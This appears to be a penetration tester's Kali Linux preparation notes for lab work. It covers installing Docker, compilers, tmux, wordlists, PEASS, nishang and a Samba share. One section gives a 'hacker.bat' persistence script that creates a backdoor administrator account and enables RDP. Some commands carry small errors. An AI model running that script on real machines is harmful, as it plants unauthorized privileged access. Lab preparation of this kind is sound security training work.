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# 00 - Kali Linux Preparation

## Docker

### Install docker <a href="#install-docker" id="install-docker"></a>

```
sudo apt update
sudo apt install docker.io
```

### Install docker-compose

```
sudo curl -SL https://github.com/docker/compose/releases/download/v2.29.6/docker-compose-linux-x86_64 -o /usr/local/bin/docker-compose
sudo chmod +x /usr/local/bin/docker-compose

# check with
sudo docker-compose
```

## Compiler & Interpreter

### GCC

```
# gcc linux


# gcc windows for kali linux
sudo apt install gcc-mingw-w64

# if your kali machine 64-bit 
sudo apt install gcc-multilib g++-multilib
sudo apt-get install libc6-dev:i386 gcc:i386

sudo apt-get install g++-multilib libc6-dev-i386
```

### Python2 & Python3

```
python2 --version

python --version
python3 --version

# install

sudo apt install python2
```

Pip2 & Pip3

If your Kali Linux have not pip2 just install with this documentation:

<https://pip.pypa.io/en/latest/installation/>

```
# download get-pip.py
https://bootstrap.pypa.io/pip/2.7/get-pip.py

# run get-pip
sudo python2 get-pip.py
```

## Important Program

### Wine

```
sudo apt install wine
```

### tmux

<https://tmuxcheatsheet.com/>

```
sudo apt instal tmux
```

### PEASS (LinPEAS & WinPEAS)

```
sudo apt install peass
```

```
# alternative

https://github.com/peass-ng/PEASS-ng/releases


wget https://github.com/peass-ng/PEASS-ng/releases/download/20241011-2e37ba11/winPEASany.exe -o winPEASany.exe
wget https://github.com/peass-ng/PEASS-ng/releases/download/20241011-2e37ba11/linpeas.sh -o linpeas.sh
```

## Resource to Upload

### Linux

**LinEnum.sh**

{% embed url="<https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh>" %}

### Windows

```
sudo apt install windows-binaries

# nc.exe and etc
windows-binaries
```

### **Persistence bat**

save to `hacker.bat`

```batch

:: This program need Administrator permission
:: Add User to Administrator and enables RDP

@ECHO OFF

TITLE Add user
ECHO Adding user ...
net user hacker password /add
net localgroup Administrator hacker /add
net localgroup "Remote Desktop Users" hacker /add
ECHO Enabling RDP
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
ECHO =======================
ECHO User Added
ECHO =======================
net users
```

## Web Preparation

### Wordlist

SecList Wordlist (**1.51 GB**)

```bash
sudo apt install seclists
cp -r /usr/share/seclists /usr/share/wordlists/SecLists
```

## Script

```
# nishang payload
git clone https://github.com/samratashok/nishang.git
```

## Tmux Preparation

save this file to `~/.tmux.conf`  to help while copy paste in the tmux pane.

```
setw -g mode-keys vi
bind-key -T copy-mode-vi y send-keys -X copy-selection
```

run this command:

```
tmux source ~/.tmux.conf
```

note for tmux copy and paste:

`ctrl + [`  -> enter vi mode / copy mode

`space`        -> enter the copy block mode

`enter`        -> copy the selection

`ctrl + ]` -> paste

## Active Directory Preparation

### Windows PowerShell

```
git clone https://github.com/samratashok/nishang.git
```

## Setup SMB in Kali Linux

install samba

```
sudo apt install samba
```

backup the configuration

```
sudo mv /etc/samba/smb.conf /etc/samba/smb.conf.old
```

create this configuration to this file `/etc/samba/smb.conf`

```
[visualstudio]
 path = /home/kali/Desktop/visualstudio
 browseable = yes
 read only = no
```

Set SMB password for kali:

```
sudo smbpasswd -a kali
```

start services

```
sudo systemctl start smbd && sudo systemctl start nmbd
```

add permission for the path:

```
chmod -R 777 /home/kali/Desktop/visualstudio
```

Windows Computer/Server to mount the kali linux smb shares:

```
net use X: \\192.168.x.y\ /user:kali
```